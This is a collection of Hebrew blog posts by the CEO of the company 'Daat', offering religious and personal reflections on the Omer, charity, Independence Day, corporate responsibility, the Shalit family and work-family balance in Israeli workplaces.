וענין נוסף חיובי בעבודה מול ריל קומרס, הוא השינוי ביחס לעובדות החברה שנוצר במהלך שנות הפעילות של דעת. אם בתחילה ובאופן טבעי ראו את עובדות דעת כקבוצה שונה ונבדלת, בעלת אורח חיים לא מוכר, לאחר מספר חודשי עבודה, התגבשה הערכה רבה לפועלן של העובדות וכבוד רב לאורח חייהן. למעשה כך נוצרה פתיחות אל החרדים, מצד מי שלא הכיר קבוצה זו מקרוב.

אז אם בתחילה חששתי ממיקום חברה חרדית בלב אביב, כיום אני בטוחה שהיה זה הצעד הנכון, גם עבור הלקוחות שלנ.ו וגם עבור העובדות עצמן. הצמיחה המתמדת של החברה היא עדות לכך שדעת במיקום ובכיוון הנכון

נילי דוידוביץ | מנכ"ל דעת

היזמת והמנכ"לית של 'דעת'. הקמתי את החברה כדי להוכיח שאפשר (וצריך) לשלב בין קריירה טכנולוגית משמעותית לבין אורח חיים ומשפחה. בבלוג הזה אני משתפת מהתובנות שלי על ניהול, טכנולוגיה ועל הניסיון היומיומי למצוא את האיזון הנכון בתוך 'רוחב הפס' של החיים.

The post פיתוח חרדי בלב תל אביב appeared first on דעת.

למצוות ספירת העומר ישנם מספר טעמים. לפי הסברו של הרמב"ם בספרו "מורה נבוכים" ולפי הסברו של "בעל ספר החינוך", מטרתה של מצוות ספירת העומר היא לבטא את הצפייה והשאיפה ליום קבלת התורה בסיני. ואכן, בחג הפסח יצאו בני ישראל ממצרים ובחג השבועות, הקרוי גם "חג מתן תורה", קיבלו על עצמם את עול התורה וחוקיה. ספירת העומר מבטאת את ימי ההכנה וההמתנה מלאת התקווה מרגע הגאולה והיציאה לחירות ועד למאורע היסטורי ודתי לא פחות חשוב, בו הפכו בני ישראל משבט משועבד וחסר זהות לעם עם חוקים ברורים ועם אמונה. הספירה אם כן היא סמל להמתנה אקטיבית, שכן מתלווה אליה הכנה נפשית ומעשית.

ספירה אישית
ניתן להתייחס לספירת העומר גם במישור המעשי והיומיומי. דוגמה לכך היא, הכנותיה של הכלה לקראת יום חתונתה: כלה הסופרת בהתרגשות את הימים עד יום חתונתה ובו בזמן משקיעה מאמצים ומרץ כדי להתכונן כראוי וכדי שהיום הגדול יהיה בדיוק כמו שחלמה ותכננה. בדומה לספירת העומר יש כאן צפייה אקטיבית, הכוללת הכנה ליום החשוב.
משמעותה של הצפייה האקטיבית איננה זניחת חיי ההווה לטובת חיי העתיד אלא שילובם זה בזה. כולנו נוהגים לספור ימים בצפייה לקראת העתיד או לקראת מאורע חשוב, אם במודע ואם שלא במודע. ספירה אקטיבית זו היא חשובה מאוד, היא מסייעת לנו להתכונן כראוי לקראת הבאות, לממש את עצמנו בהווה ברמה הגבוהה ביותר ולהצליח בעתיד.

יחד עם זאת, לא תמיד ההמתנה לעתיד נעשית באופן חיובי ומבורך. דוגמא לכך באדם שאינו מרוצה ממה שיש לו בהווה והוא ממתין לשינוי שיתרחש בעתיד, כאשר ההמתנה לא מתמקדת במאורע או במטרה מסוימת, אלא במשהו ערטילאי המתבסס על חוסר שביעות מההווה. במקרה כזה, האדם למעשה לא חי את הרגע ומפספס את החיים עצמם.
אין זה אומר שאין עלינו לשאוף להיות במקום טוב יותר בעתיד. להפך, עבור כולנו יש מקום לשאוף להתקדם ולהשתפר, להמצא במקום טוב יותר במישור פיזי, רוחני, גשמי, כלכלי, דתי… כל אחד על פי רצונותיו. יחד עם זאת, על שאיפה להגיע ממקום של השלמה עם המציאות הקיימת.

כאשר אני מנסה להתקדם מתוך ידיעה שמה שיש לי כעת משקף את המצב הכי טוב שיכול להיות (שזו משמעותה של ההשגחה הפרטית), אזי אגב ההתקדמות שלי, אני נהנת מהתהליך עצמו, מכל שלב שבו, ובאמת חיה.

ואיך משתלבת הספירה הדתית עם הספירה האישית?
אם בעת ההמתנה לחג מתן תורה, אני שואפת לראות את עצמי בתום 49 הימים, במקום גבוה יותר, תוך מודעות למקום שלי היום ולהתקדמות ממנו, תוך שמחה גם בגין עליה בשלב קטנטן אף שרק אני ובוראי מודעים לה – אזי בכל הימים האלו הייתי חייתי את השאיפה וההתקדמות שלי ברגע הנוכחי ולא הייתי עסוקה בחלומות על העתיד.

עובדות חברת "דעת" מאחלות לכל בית ישראל חיי הווה מלאים ונפלאים וחג שבועות שמח.

נילי דוידוביץ | מנכ"ל דעת

היזמת והמנכ"לית של 'דעת'. הקמתי את החברה כדי להוכיח שאפשר (וצריך) לשלב בין קריירה טכנולוגית משמעותית לבין אורח חיים ומשפחה. בבלוג הזה אני משתפת מהתובנות שלי על ניהול, טכנולוגיה ועל הניסיון היומיומי למצוא את האיזון הנכון בתוך 'רוחב הפס' של החיים.

The post ספירת העומר – להתכונן לקראת השינוי appeared first on דעת.

אם כי לצערנו יש כיום כל כך הרבה נזקקים… פרטיים ומוסדות, משפחות, קהילות שלמות ועוד ועוד. קמפיינים חוצי יבשות מספרים לנו על נזקקים רחוקים ובקשות לתרומות נשמעות ללא הרף, גם לפני שאנו משלמים על מוצר כלשהו בחנות.

ולאור כל זאת, אני שואלת- כיצד נבחר למי לתת?

עניי עירך קודמים

נאמר בהלכות מתנות לעניים, משנה תורה: "עני שהוא קרובו, קודם לכל אדם; ועניי ביתו, קודמין לעניי עירו; ועניי עירו, קודמין לעניי עיר אחרת…"

אז לאחר שדאגתי לביתי שלי, חז"ל הנחילו לנו כלל אצבע: עניי עירך קודמים.

אך מי הם עניי עירי? האם אלו שגרים בעיר שלי פיזית? האם אלו הקרובים אלי רעיונית, למשל בעלי אמונות זהות לשלי? או אולי אלו שקרובים לליבי?

ובעצם, מה עם עניי עיר אחרת? מה עם ילדים באפריקה, ונפגעי אסונות טבע? אם כל אלו שיש ביכולתם לתרום יתרמו לעניי עירם, מי יתרום לאותם נזקקים באזורים שאין מי שיתרום להם?

ניתן להניח כי כאשר ניתנה הקדימות הזו, ידעו חז"ל כי לא בקלות נבחר לתת לעניי עירנו. את העיר שלנו אנו מכירים היטב וגם את העניים שבה. לאדם קל יותר לתת לשונה ממנו, לרחוק, לזה שבעיר אחרת, ועל ידי כך למתג עצמו כמוצלח יותר.

על ידי כך שחז"ל מאדירים את הקרוב, הם למעשה מעלים אותו רגשית לרמה השווה לכל אלו הרחוקים וכך דואגים שלא נתעלם ממנו. ובעיני הכוונה כאן היא לא רק לדאוג לאלו הקרובים אלי פיזית ומתגוררים בעירי, אלא גם לקרובים אלי רעיונית. כאשר אני מזדהה רעיונית עם קבוצה מסוימת, למשל מבחינת אמונה, אנו הופכים לקהילה אחת, מעין עיר וירטואלית, ולכן גם לנזקקים מאותה קבוצה יש קדימות.

חשוב להוסיף כי חז"ל לא התכוונו לשלול נתינה למי שאינו קרוב אלי ונמצא בעיר אחרת. למעשה ישנה חשיבות בחלוקת הצדקה לכמה שיותר נזקקים, וכך אמר הרמב"ם: "כשיתן האדם למי שראוי אלף זהובים בבת אחת לאיש אחד ולאיש אחר לא נתן כלום – לא יעלה בידו מדת הנדיבות במעשה האחד הגדול כמו שמגיע למי שהתנדב אלף זהובים באלף פעמים . ונתן כל זהוב מהם על צד הנדיבות". כלומר, לפי הרמב"ם, עדיף לתת לכל אחד מ-1000 נזקקים שקל, מאשר לתת 1000 שקלים לנזקק אחד…

וכאשר אני כבר מעוניינת לסייע לעניי עירי תחילה, פיזית ורעיונית, ולכמה שיותר, נראה כי עלי להיות בעלת ממון רב כדי לסייע לכולם. למעשה זה לא מחייב כלל, שכן ידוע כי שמונה מעלות יש לה לצדקה והמעלה הגדולה מכולן היא דאגה לפרנסה לנזקקים. זוהי מעלה יפה המראה כמה חשוב לרומם כל אדם, כך שלא נדאג לרווחתו רק בהווה, אלא גם לכך שלא יזדקק לעזרה מהזולת בעתיד.

תרומה לקהילה

הקפדה על "עניי עירך קודמים" ותרומה לכמה שיותר נזקקים לא רק מסייעת לכל אינדיבידואל שנזקק. יש כאן גם תרומה לכלל, לקהילה כולה.

"קהילה" נוצרת מגרעין חברתי חזק, מקשרים רבי שנים ומחיבור רעיוני משותף. תרומה למי שקרוב אלינו באמת, קרוב לבית, בלי אגו וגאווה, ומתוך אכפתיות, מחזקת את הקשרים שבין איש לרעהו בקהילה, יוצרת אחווה ושיתוף, וקהילה הרבה יותר מאוחדת ושוויונית.

וחרדיים אני מאמינה שיש ביכולתינו ליצור מקומות עבודה לנשים דתיות וחרדיות. אנו שמכירים את צרכיהן של הנשים ואת הלך רוחן, את יכולותיהן המעולות ואת מסירותן הרבה. אם נשכיל להקים ולמנף מקומות עבודה כאלו, הרי ניצור חברה שוויונית ופעילה ועל ידי כך לא רק שנתרום לקרובים אלינו, לעניי עירנו מבחינה רעיונית ואולי גם פיזית, אלא גם נממש את המעלה הגדולה ביותר של הצדקה. 

נילי דוידוביץ | מנכ"ל דעת

היזמת והמנכ"לית של 'דעת'. הקמתי את החברה כדי להוכיח שאפשר (וצריך) לשלב בין קריירה טכנולוגית משמעותית לבין אורח חיים ומשפחה. בבלוג הזה אני משתפת מהתובנות שלי על ניהול, טכנולוגיה ועל הניסיון היומיומי למצוא את האיזון הנכון בתוך 'רוחב הפס' של החיים.

The post צדקה מתחילה מהבית appeared first on דעת.

הדור שחי תחת השלטון התורכי והמנדט הבריטי, חי תחת שלטון שלא הם בחרו בו. הם חיו תחת עם אחר ששלט בהם, קבע את צורת חייהם, ונתן או שלל זכויות.

נשות הדור הקודם, שכבר חיו במדינה עצמאית, לא היו בעלות זכות בחירה בחייהן האישיים. עבודה לנשים לא היתה מקובלת ולא לגיטימית בשנים בהם בנות הדור של אמי היו בשיא פריחתן. אישה יכלה להיות מורה או גננת או לעבוד מהבית כתופרת. רוב המקצועות האחרים לא היו פתוחים עבורן.

זכות הבחירה היא אבן היסוד ביהדות. אבל הזכות הזו היא מצומצמת. נאמר בתורה " רְאֵה נָתַתִּי לְפָנֶיךָ הַיּוֹם אֶת הַחַיִּים וְאֶת הַטּוֹב וְאֶת הַמָּוֶת וְאֶת הָרָע. …… ובחרת בחיים". לכל אדם ואדם יש את הזכות ואת החובה להשתמש בכח הראיה שבו, לראות את  החיים ולשמוע את מה שהם מזמינים. זו קריאה לעשייה. לבחירה. אך יחד עם מתן זכות הבחירה, בורא עולם מצווה עלינו במה לבחור. ואם יש לצוות על כך, ניתן להבין שהאדם, שהוא שילוב של חומר ורוח, גוף ונפש, לא תמיד נוטה לבחור בדרך הנכונה.

הבחירה בחיים היא לא טריוויאלית. הבחירהבחיים היא בדרך כלל לא הבחירה בקל, בנוח, בהרגל, במה שהסביבה מצפה ממני לעשות. הבחירה בחיים היא בחירה מתוך מחשבה, עבודה עצמית, ובחינה מעמיקה.

בדור שלנו זכות הבחירה הורחבה. אנחנו בוחרות את הממשל והתעסוקה, כל אחת מאיתנו יכולה לבחור בין להיות עקרת בית או גם אישה עובדת. כמעט כל המקצועות פתוחים בפנינו, כל מוסדות הלימוד, כל האפשרויות לרכוש השכלה גבוהה.

כאשר בוחרים בחיים, צריך לפעמים להתפשר או לוותר על רצונות, להבין ולעמוד באתגרים שהבחירה שלנו מביאה בעקבותיה, לפעמים לבחור מחדש את אותה בחירה אחרי מחשבה נוספת ולפעמים לשנות כיוון. לכל בחירה יש מחיר ובדרך כלל אין מושלם.

וכאשר בוחרים, צריך לזכור את הציווי, ובחרת בחיים. יש לבחור את מה שיעניק חיים מלאים יותר, משמעותיים, חיים שנעים לחיות אותם ולהגיע לבחירה שחיים איתה בהשלמה.

חג עצמאות שמח!

פורסם על ידי נילי דוידוביץ ב-01:14

נילי דוידוביץ | מנכ"ל דעת

היזמת והמנכ"לית של 'דעת'. הקמתי את החברה כדי להוכיח שאפשר (וצריך) לשלב בין קריירה טכנולוגית משמעותית לבין אורח חיים ומשפחה. בבלוג הזה אני משתפת מהתובנות שלי על ניהול, טכנולוגיה ועל הניסיון היומיומי למצוא את האיזון הנכון בתוך 'רוחב הפס' של החיים.

The post הדעה של דעת – יום העצמאות appeared first on דעת.

חלומו של פרעה:
וַיְהִי מִקֵּץ שְׁנָתַיִם יָמִים וּפַרְעֹה חֹלֵם וְהִנֵּה עֹמֵד עַל הַיְאֹר.
וְהִנֵּה מִן הַיְאֹר עֹלֹת שֶׁבַע פָּרוֹת יְפוֹת מַרְאֶה וּבְרִיאֹת בָּשָׂר וַתִּרְעֶינָה בָּאָחוּ.
וְהִנֵּה שֶׁבַע פָּרוֹת אֲחֵרוֹת עֹלוֹת אַחֲרֵיהֶן מִן הַיְאֹר רָעוֹת מַרְאֶה וְדַקּוֹת בָּשָׂר
וַתַּעֲמֹדְנָה אֵצֶל הַפָּרוֹת עַל שְׂפַת הַיְאֹר.
וַתֹּאכַלְנָה הַפָּרוֹת רָעוֹת הַמַּרְאֶה וְדַקֹּת הַבָּשָׂר
אֵת שֶׁבַע הַפָּרוֹת יְפֹת הַמַּרְאֶה וְהַבְּרִיאֹת
וַיִּיקַץ פַּרְעֹה.
וַיִּישָׁן וַיַּחֲלֹם שֵׁנִית
וְהִנֵּה שֶׁבַע שִׁבֳּלִים עֹלוֹת בְּקָנֶה אֶחָד בְּרִיאוֹת וְטֹבוֹת.
וְהִנֵּה שֶׁבַע שִׁבֳּלִים דַּקּוֹת וּשְׁדוּפֹת קָדִים צֹמְחוֹת אַחֲרֵיהֶן.
וַתִּבְלַעְנָה הַשִּׁבֳּלִים הַדַּקּוֹת אֵת שֶׁבַע הַשִּׁבֳּלִים הַבְּרִיאוֹת וְהַמְּלֵאוֹת
וַיִּיקַץ פַּרְעֹה וְהִנֵּה חֲלוֹם.

פרעה מתעורר מוטרד. הוא מבין כי בחלום החוזר על עצמו פעמיים קיים מסר חשוב ואין להתעלם ממנו. הוא מבקש מחרטומיו לפתור את החלום אך לא מקבל את הפתרונות המוצעים לו.

ר" יהושע דסכנין בשם רבי לוי מסביר: פותרין היו אותו, אלא שלא היה קולן נכנס באזניו. שבע פרות הטובות (הן) שבע בנות (ש)אתה מוליד. שבע פרות הרעות (הן) שבע בנות (ש)אתה קובר. וכן אמרו: שבע שבלים הטובות (הן) שבע מלכיות (ש)אתה מכבש. שבע שבלים הרעות, שבע אפרכיות (=מחוזות) (ש)מורדות בך.

בעצת שר המשקים פרעה שולח לקרוא ליוסף "בעל החלומות" שהוכיח בעבר את יכולתו. הוא מוציאו מן הבור, מצווה לרחצו ולהלבישו בבגדים חדשים ופורש בפני יוסף את שני החלומות. יוסף מקשיב ומגולל באזני פרעה את פתרונו, ופרעה מקבל.

שבע שנות שובע עתידות לבוא על מצרים ולאחריהן שבע שנות רעב, בהם "נִשְׁכַּח כָּל הַשָּׂבָע בְּאֶרֶץ מִצְרָיִם וְכִלָּה הָרָעָב אֶת הָאָרֶץ."

מדוע מקבל פרעה את פתרונו של האסיר מהבור ולא את פתרונות חכמיו?
אחריות תאגידית.
אחריות תאגידית הינה התנהגות והתנהלות אחראית של תאגיד כולל. תאגיד הוא לא גוף ערטילאי, תאגיד לא מקבל החלטות. בני אדם כמוני וכמוכם, כמו אסתר המלכה וכמו פרעה – הם המכריעים והם אלו שקובעים את אופן התנהלות התאגיד, אם יפעל באחריות ובאמינות למען החברה כולה.
מתוך אותה תחושת אחריות והבנת מקומו ותפקידו, מבין פרעה שלמרות היותו גם אדם פרטי, בעל משפחה ובעל שאיפות ורצון לשמור על כסאו ומעמדו – חלומותיו לא יכולים להיות רק מטרותיו הפרטיות, אלא עליהם לשקף את אחריותו כמלך על עמו, וכבעל תפקיד ויכולת השפעה.

נילי דוידוביץ | מנכ"ל דעת

היזמת והמנכ"לית של 'דעת'. הקמתי את החברה כדי להוכיח שאפשר (וצריך) לשלב בין קריירה טכנולוגית משמעותית לבין אורח חיים ומשפחה. בבלוג הזה אני משתפת מהתובנות שלי על ניהול, טכנולוגיה ועל הניסיון היומיומי למצוא את האיזון הנכון בתוך 'רוחב הפס' של החיים.

The post פרעה חולם על אחריות תאגידית appeared first on דעת.

משחק או עבודה

"כל העולם במה, וכל אנשיו ונשותיו שחקנים הם. יש להם את כניסותיהם ואת יציאותיהם, ואדם אחד משחק תפקידים רבים." (שייקספיר, 'כטוב בעיניכם' )

רוב מחזותיו וכתביו של וויליאם שייקספיר, עוסקים במהות החיים, או במדויק יותר – בבירור תכלית החיים באופן כזה או אחר. המוטיב החוזר ביצירותיו הוא ללא ספק אפסותו של האדם, הנתון לחסדי גורלו הקבוע מראש והטראגי ברוב המקרים, ללא כל יכולת להשפיע על מהלך השתלשלות (או במקרה של שייקספיר, התדרדרות) העניינים

למעשה, בניגוד לתפיסתו של שייקספיר, לא "כל העולם במה", ואנחנו… לא תמיד שחקנים שאין ביכולתם להשפיע על השתלשלות העניינים.

בשונה מהעבודה החיצונית, למשל במשרד, המכתיבה לנו לשחק על הבמה לקול תרועות הקהל/הלקוחות, בעבודה הפנימית, על עצמי, אני באמת יכולה לשנות משהו, שכן אינני בתפקיד השחקנית. וזוהי העבודה הקשה יותר, כיוון שקל יותר לשחק על הבמה מאשר לעבוד בבית. על הבמה זה משחק. בבית זו עבודה.

העבודה על אתר "דעת" היא דוגמא לעבודה שבאה בפנים, שכן היא מייצגת במידה רבה את עצמי, את העובדות ואת המהות של "דעת". הפעם ללא צורך להתאים עצמנו לדרישות הלקוח. הפעם אנו לא שחקנים.

עד כמה שזה יכול להישמע מוזר, החיים שלנו הם כמו מחזה שנכתב מראש, שכן כולנו נמצאים במסלולים מסוימים המתווים לנו את הדרך בה נלך וכולנו נולדנו עם מידות מסוימות הטבועות בנו. התסריט קיים, השחקנים נוכחים, העלילה כבר ידועה. יחד עם זאת, ניתנה לנו זכות אחת נדירה: לשבת על כיסא הבמאי, לשער לפני כולם את סופו של המחזה, ולשנות אותו באופן בו נוכל לשפר את דרכנו ולתקן את עצמנו, בהתאם ליעדים שהצבנו.

אינני נביאה, ואינני יודעת מה יילד יום, אך בדרך כלל אני נמצאת על מפת אירועים כלשהי, מתוכננת להיום, למחר ולשבוע הבא. אם אני רוצה שהתשבץ יראה אחרת, אני יכולה להחליט על שינוי התוואי, ולהתחיל להתקדם אל עבר היעד.
כיצד? על ידי עבודה, להבדיל ממשחק.

העבודה הפנימית הזו שבאמצעותה אני מתקדמת אל היעדים שהצבתי לעצמי, היא שממקמת אותי "מעל הבמה", כמישהי שבניגוד לתפיסה של שייקספיר, בעלת השפעה על השתלשלות העניינים.

אם נצליח להתעלות אל מעל הבמה; אם נדאג לעצמנו ונשקיע בכך מאמצים; אם נצליח להיות ממוקדי מטרות עבור עצמינו; אם נעצור מידי פעם את מרוץ החיים על מנת לבדוק היכן אנו נמצאים מול המטרה שהצבנו לעצמינו – אזי בניגוד לגיבוריו הטראגיים של שייקספיר, נוכל  להיות הבימאים של חיינו אנו.
משם ואילך השמים הם הגבול.

נילי דוידוביץ | מנכ"ל דעת

היזמת והמנכ"לית של 'דעת'. הקמתי את החברה כדי להוכיח שאפשר (וצריך) לשלב בין קריירה טכנולוגית משמעותית לבין אורח חיים ומשפחה. בבלוג הזה אני משתפת מהתובנות שלי על ניהול, טכנולוגיה ועל הניסיון היומיומי למצוא את האיזון הנכון בתוך 'רוחב הפס' של החיים.

The post כל העולם במה appeared first on דעת.

נילי דוידוביץ | מנכ"ל דעת

היזמת והמנכ"לית של 'דעת'. הקמתי את החברה כדי להוכיח שאפשר (וצריך) לשלב בין קריירה טכנולוגית משמעותית לבין אורח חיים ומשפחה. בבלוג הזה אני משתפת מהתובנות שלי על ניהול, טכנולוגיה ועל הניסיון היומיומי למצוא את האיזון הנכון בתוך 'רוחב הפס' של החיים.

The post התנדבות appeared first on דעת.

מצד אחד, נתון היה לבי להורים ולמשפחה – הנה התחלפו לפתע הייאוש של חמש שנים וארבעה חודשים בשבי הבור האפל בתקווה לחירות, הדאגה מורטת העצמות בשמחת השחרור והחשש מהבאות בוודאות המפגש הממשמש ובא. החוסן, הנחישות והמאבק הבלתי נלאה לאורך חמש שנים ארוכות הם ללא ספק עדות לאצילות הנפש של בני הזוג ולאישיות ראויה להערצה. המלחמה המייאשת והיומיומית בדעת הקהל, בביקורת הקשה של המתנגדים ובממסד איננה מובנת מאליה; הטלטלה בין ייאוש כבד לתקווה והכוח לאסוף את השברים, לקום כל בוקר מחדש ולא להיכנע לפסימיות ולחולשה, הם עדות לכוחות נפש עצומים, הנובעים ממעיין אהבת הורים שאיננה יודעת גבולות.

מצד שני, נתון היה לבי גם למשפחות השכולות – האובדן הנורא שאין עליו פיצוי מול שחרור המרצחים וחזרתם אל שגרת החיים, למרות עשרות או אפילו מאות שנות מאסר שנגזרו עליהם. הידיעה, כי חוט חייהם של היקרים להם מכול נגדע בשבריר שנייה אחת של טרור רצחני, והם לא יישובו לעולם לחיים, בעוד שהמרצחים הנוראים חוגגים את שחרורם, אינם מביעים כל חרטה על מעשיהם ומתקבלים כגיבורים וכלוחמי חירות, היא ללא ספק קשה, מכאיבה ואיננה נותנת מנוח.

אתמול ביקר נשיא המדינה, שמעון פרס, את משפחת שליט והביע את ערכתו ואת תמיהתו הכנה מול כוחות הנפש העצומים של גלעד, שבילה בבור הכלא כמעט חמש וחצי שנים ולא איבד את התקווה. גם אביבה ונעם לא איבדו את התקווה וניהלו מאבק יומיומי במשך חמש וחצי שנים; מאבק בו כל יום היה קשה יותר מקודמו. ושאלתי את עצמי, מהיכן שאבו ההורים את תעצומות הנפש להיאבק ולא להתייאש זמן ממושך כל-כך? והתשובה הייתה, האהבה העזה לבנם.

לפני כמה שבועות קראתי מאמר על אהבת אם לילדיה ועל חינוכם. כותבת המאמר סיפרה על דיון מוסרי וחינוכי בו לקחה חלק. בדיון שיתפה הכותבת את המשתתפים האחרים בעמדתה האישית, לפיה אם בנה ירצח אדם, היא תתנתק ממנו ולא תבוא לבקרו בכלא. הכותבת שיתפה גם את בנה בעמדה זו, במטרה להציב לו גבולות במסגרת ערכי החינוך בהם היא מאמינה. לדעתי, גבולותיה של כותבת המאמר אינם גבולות המעשים של בנה אלא גבולות האהבה שלה. לעומתה, אביבה ונעם שליט לא היו אומרים משפט שכזה, שהרי כוחם ועוצמת מאבקם נבעו ישירות מהאהבה ללא גבולות לבנם.

ולבסוף, "שלושה שותפים לו לאדם, אביו, אימו והקב"ה". הקשר של ההורים ובייחוד של האם אל ה"שותף השלישי", הקב"ה, בא לידי ביטוי בתפילה. באחד מהמשפטים המפורסמים שהתנהלו בבית הדין הרבני, תבעה אם את ראש הישיבה בה התחנך בנה. ומעשה שהיה כך היה; האם שהתגוררה בחו"ל שלחה את בנה ללמוד בישיבה בעיר בני-ברק. הבן השקיע והצליח מאוד בלימודיו אך יום אחד חלה ונפל למשכב. ראש הישיבה לקח אחריות על התלמיד החולה וטיפל בו כאילו היה בנו: דאג למנוחתו, לטיפולים השונים, לנטילת התרופות הנחוצות, ולא חסך ממנו דבר, כולל ביקורים של רופאים פרטיים, שעלו לו כסף רב. אך לרוע המזל, באופן בלתי צפוי החמיר מצבו של התלמיד והוא נפטר בפתאומיות. האם הכואבת והנסערת לא הבינה מדוע הסתיר ממנה ראש הישיבה את מצבו של בנה. לשאלתה, ענה ראש הישיבה בזו הלשון: "אני מבין את כאבך, אך עשיתי הכול למען בנך, טיפלתי בו, קניתי עבורו תרופות, לקחתי אותו לטובי הרופאים, ולא היה דבר שאת היית עושה, שלא עשיתי בעצמי". ענתה לו האם: "אכן, עשית הכול למענו, פעלת בדיוק כפי שאני הייתי פועלת, אך דבר אחד לא יכולת לעשות, והוא להתפלל עליו תפילה של אימא. כי תפילה של אימא מבקיעה גם רקיעים".

סיפורם של גלעד, אביבה ונעם שליט מזכיר לכולנו כמה עלינו להודות על כל יום וכל רגע של חיים ושל שיגרה בטוחה. הקליפ הבא מוקדש להם באהבה:
http://www.youtube.com/watch?v=SBRvEQpkXJI&

נילי דוידוביץ | מנכ"ל דעת

היזמת והמנכ"לית של 'דעת'. הקמתי את החברה כדי להוכיח שאפשר (וצריך) לשלב בין קריירה טכנולוגית משמעותית לבין אורח חיים ומשפחה. בבלוג הזה אני משתפת מהתובנות שלי על ניהול, טכנולוגיה ועל הניסיון היומיומי למצוא את האיזון הנכון בתוך 'רוחב הפס' של החיים.

The post בהוקרה למשפחת שליט appeared first on דעת.

ברוסיה, הגבלות התרבות הארגונית הם מאוד מחמירות. לדוגמא: מחפשים עובדים בגילאים של לא יותר מ 35 שנים, ללא ילדים או עם ילדים בוגרים, ללא התחייבות לבני משפחה בכלל ויכולת להשקעה בעבודה ללא הפרעה- מעסיקים מסבירים זאת עלידי ציות טוב יותר של צעירים ומחויבות גבוהה יותר.

עם זאת, נראה שאת עושה הכל הפוך למנהג זה. האם את יכולה להסביר במלים פשוטות ליזמים כמוך איך את הופכת את החברה שלך ליותר תחרותית?

את התשובה שלי דוברי הרוסית שבכם יוכלו לקרא בכתבה כשנעלה אותה ל”כתבו עלינו” באתר. מה שלא אמרתי לו זה את הרגשות שעלו לי כששמעתי את השאלה.

הרגשתי גאווה בנו, בחברה הישראלית.

אנחנו בשלהי החופש הגדול, המדינה כמעט מושבתת וזה בסדר.
אנחנו מכינים לוחות זמניים לפרויקטים, כולנו מתחשבים בחגים.
אנחנו לוקחים בחשבון שלכל עובד יש בית משפחה ומחויבויות אישיות, ומבינים את זה.
כואב לנו בסגירת מפעלים כאלו ואחרים על בעלי המשפחות.
כואב לנו לקרוא על בני 40 שמתקשים למצוא עבודה
והתרבות שלנו אומרת שאדם בעלי מחוייבות משפחתית יהיה עובד בעל מחוייבות לארגון.
אני כותבת וחושבת על התגובה של ר”צ בדיקות תוכנה מטעם הלקוח, כאשר אני מודיעה לה כשמישהי מהבודקות שבצוות שלה בהריון. השמחה, העיניים הנוצצות, האיחולים, ההשתתפות והדאגה לשלום היולדת והתינוק אחרי.

אני כותבת וחושבת על דאגה של מנהל פרוייקט שמתכנתת בצוות שלו לפני חתונה, ההבנה שלו לצורך שלה לימים של התארגנות וגם של ניקוי ראש. ההליכה שלו לקראתה והחיוך בו הכול נעשה.

אני חושבת ומחייכת לי בלב וגאה בנו, בישראלים שעם כל הציניות שלנו, הרדיפה אחרי הכסף והחומריות, המאבק היומיומי באתגרים המורכבים של כל אחד ואחת מאיתנו, אנחנו בני אדם, ויותר מזה, זוכרים שגם השני הוא בן אדם, גם כאשר הוא עובד, ספק, חבר לצוות או נותן שירות שלנו.

איך אפשר בכלל להתחיל להסביר את זה למי שהתרבות שלו היא שהפרמטר בבחירת העובד היא חוסר המחוייבות שלו למשפחתו? 

נילי דוידוביץ | מנכ"ל דעת

היזמת והמנכ"לית של 'דעת'. הקמתי את החברה כדי להוכיח שאפשר (וצריך) לשלב בין קריירה טכנולוגית משמעותית לבין אורח חיים ומשפחה. בבלוג הזה אני משתפת מהתובנות שלי על ניהול, טכנולוגיה ועל הניסיון היומיומי למצוא את האיזון הנכון בתוך 'רוחב הפס' של החיים.

The post גאוה בחברה הישראלית appeared first on דעת.

נילי דוידוביץ | מנכ"ל דעת

היזמת והמנכ"לית של 'דעת'. הקמתי את החברה כדי להוכיח שאפשר (וצריך) לשלב בין קריירה טכנולוגית משמעותית לבין אורח חיים ומשפחה. בבלוג הזה אני משתפת מהתובנות שלי על ניהול, טכנולוגיה ועל הניסיון היומיומי למצוא את האיזון הנכון בתוך 'רוחב הפס' של החיים.

The post צרכים או מותרות:הדעה של דעת על מחאת האוהלים appeared first on דעת.

רבים מאיתנו חשים שהם עצמאים, אך גם העצמאי ביותר תלוי באחרים המסייעים ומספקים לו שירותים שונים: אם מדובר במורה המקנה לי ידע, בחקלאי שמספק מוצרי גלם ובעובדי המאפיה שבזכותם יש לי לחם. התלות שלנו אחד בשני לא מעידה על חוסר עצמאות, אלא מהווה צורך הכרחי של כל אחד מאיתנו, גם העצמאי ביותר.

יתכן ויהיה נכון יותר להחליף את המילה "תלות" במונחים אחרים, כתרומה של אדם לחברו והשיתוף שבין האחד לשני. כך למשל נבין כי גבר המסייע להשלים מניין, גבאי הדואג לתחזוק ופעילות בית הכנסת ורב המלמד ומחנך תלמידים – תורמים לאחרים אך גם מקבלים בחזרה: הגבר זוכה גם הוא להתפלל במניין והרב משכיל מתלמידיו "הרבה למדתי מרבותי, ומחבירי – יותר מרבותי, ומתלמידי – יותר מכולן" (מסכת תענית, דף ז', ע"א).

בגמרא מצויין כי לאחר שחוני המעגל התעורר משנתו שארכה 70 שנה, הוא נכנס לבית המדרש כדי ללמוד בחברותא אך תלמידי בית המדרש לא האמינו שהוא אכן חוני המעגל. בצער הוא העדיף למות באומרו "או חברותא או מיתותא" (או חבר או מוות). אמרה זו ממחישה עד כמה משמעותיים והתרומה והשיתוף שאנו מקבלים מהזולת, במקרה זה באמצעות חברותא הלומדת בצוותא בבית המדרש.
דוגמא נוספת לתרומה ההדדית נמצא בתרי"ג מצוות, שלא יכולות להיות מקויימות כולן על ידי היחיד. ישראל לא יכול לקיים את המצוות של הכוהן והכוהן לא את של הלוי. לבכור מצוות משלו, ישנם מצוות של גברים ויש המיועדות לנשים. התרי"ג מתבצע על ידי כולנו ביחד.

לכן התשובה לשאלה לעיל היא כן- וודאי שהמדינה עצמאית. ישראל לא תלויה באחרים היא מתקיימת בעזרת אחרים, וגם עוזרת לקיים אחרים. התרומה ההדדית הזו מתבטאת גם בכך שאמנם אנו נאלצים לרכוש משאבים הדלים בארצנו, אך אנו מספקים לאחרים משאבים כידע וטכנולוגיה.
אנחנו משלמים על מה שאנחנו מקבלים במה שיש לנו.

דעת מאחלת לכל עם ישראל יום עצמאות 63 שמח! 

נילי דוידוביץ | מנכ"ל דעת

